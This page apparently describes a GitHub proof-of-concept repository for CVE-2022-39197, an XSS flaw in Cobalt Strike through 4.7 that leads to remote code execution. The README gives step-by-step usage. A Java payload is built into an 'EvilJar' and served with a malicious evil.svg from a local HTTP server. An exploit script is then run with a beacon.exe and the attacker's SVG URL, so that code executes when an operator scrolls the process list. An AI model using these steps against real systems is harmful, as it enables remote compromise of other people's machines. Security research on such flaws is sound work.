CVE-2022-39197 PoC — HelpSystems Cobalt Strike 跨站脚本漏洞

Source

https://github.com/TheCryingGame/CVE-2022-39197-RCE

Associated Vulnerability

Title:HelpSystems Cobalt Strike 跨站脚本漏洞 (CVE-2022-39197)
Description:An XSS (Cross Site Scripting) vulnerability was found in HelpSystems Cobalt Strike through 4.7 that allowed a remote attacker to execute HTML on the Cobalt Strike teamserver. To exploit the vulnerability, one must first inspect a Cobalt Strike payload, and then modify the username field in the payload (or create a new payload with the extracted information and then modify that username field to be malformed).

Description

CVE-2022-39197 RCE POC

Readme

# CVE-2022-39197-RCE

## First
  This project was modified from [@its-arun](https://github.com/its-arun) project https://github.com/its-arun/CVE-2022-39197

  When I tested the script, I found that the frida script could not query the data in the normal order. The method of modifying the frida script to modify the process name.


Thanks to Master [@Kai5174](https://github.com/Kai5174) for his contribution to the utilization method.


### Usage

- **Prepare Payload**

1、Edit command executed with your payload in `EvilJar/src/main/java/Exploit.java`, now it can only play the calculator.

2、Build using jar `mvn clean compile assembly:single`

4、Move `EvilJar-1.0-jar-with-dependencies.jar` from `EvilJar/target/` to `serve/` folder

5、Edit `serve\evil.svg` replace `[attacker]` 

6、Serve using `python3 -m http.server 8080`

7、Generate beacon.exe with C2 version less than or equal to 4.7

8、You need to execute the py script on a Windows to go online, and perform countermeasures when the client accesses the process list and sees the beacon.exe process.


- **Execute Exploit**

```
python3 -m pip install -r requirements.txt
python3 cve-2022-39197_Yyy.py beacon.exe http://192.168.10.10:8080/evil.svg
```

Payload will be triggered as soon as the user scrolls through Process List

### POC

**Windows**
![1.png](./images/1.png)


**Mac**
![2.jpg](./images/2.jpg)


### Reference

[https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg](https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg) — There’s a great in depth analysis of this vulnerability
[https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html](https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html)

Modified https://github.com/its-arun/CVE-2022-39197

File Snapshot

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